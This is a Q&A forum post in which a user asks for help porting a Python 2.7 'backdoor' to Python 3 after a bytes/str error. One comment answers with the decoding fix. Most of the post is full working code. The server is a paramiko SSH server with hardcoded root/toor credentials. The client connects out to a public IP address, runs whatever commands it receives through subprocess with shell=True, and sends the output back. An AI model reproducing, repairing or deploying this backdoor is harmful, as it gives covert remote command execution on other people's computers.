0

I found some code written in python2.7 and I decided to write it with some changes so it will run with python3.1, the code is for a backdoor I want to install on my home computer for fun. Unfourtunately I ran into an error "cant concat bytes to str" when I tried to send a command to the client computer, I think this has to do with the changes form python2.7 to python3.1, sorry if Im unclear im trying to explain as best I can.

Here is the server script:

import sys
import threading 
import paramiko
import socket

host_key=paramiko.RSAKey(filename='/home/jack/.ssh/id_rsa')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event=threading.Event()
    def check_channel_request(self,kind,chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self,username,password):
        if (username=='root') and (password=='toor'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
try: 
    sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
    sock.bind(('192.168.1.7', 1258))
    sock.listen(100)
    print('[+] Listening for connection....')
    client, addr=sock.accept()
except Exception as e:
    print('[-] Listen/bind/accept failed')
    sys.exit(1)
print('[+] Connection Initiated')

try:
    transport=paramiko.Transport(client)
    try:
        transport.load_server_moduli()
    except:
        print('[-] Failed to load moduli -- gex will be unsupported')
        raise
    transport.add_server_key(host_key)
    server=Server()
    try:
        transport.start_server(server=server)
    except:
        paramiko.SSHException()
        print('[-] SSH negotiation failed')
    chan=transport.accept(20)
    print('[+] Authentication Completed')
    print(chan.recv(1024))
    chan.send("Connection established")
    while True:
        command=input('Enter Command=>').strip('\n')
        chan.send(command)
        print(chan.recv(1024)+'\n')
except Exception as e:
    print('[-] Exception'+': ' + str(e))
    try:
       transport.close()
    except:
        pass
    sys.exit(1)

I will also post the client side in case anyone wants a look but the error came form the server script

import paramiko
import threading
import subprocess

client=paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('173.210.89.47',port=1258, username='root',password='toor')
chan = client.get_transport().open_session()
chan.send('Client connection established')
print (chan.recv(1024))
while True:
    command=chan.recv(1024)
    try:
        CMD=subprocess.check_output(command, shell=True)
        chan.send(CMD)
    except Exception as e:
            chan.send(str(e))
client.close

So if anyone could help me figure this out that would be great, thanks guys

Jack C
  • 33
  • 3
  • 1
    *I think it has to do with Python 2->3* -- It does, you'll need to decode the bytes to a string ([see this](http://stackoverflow.com/questions/606191/convert-bytes-to-a-python-string)) -- then str + str concatenation will work fine. – jedwards Mar 20 '15 at 22:29
  • yep that was it thanks – Jack C Mar 21 '15 at 00:16

0 Answers0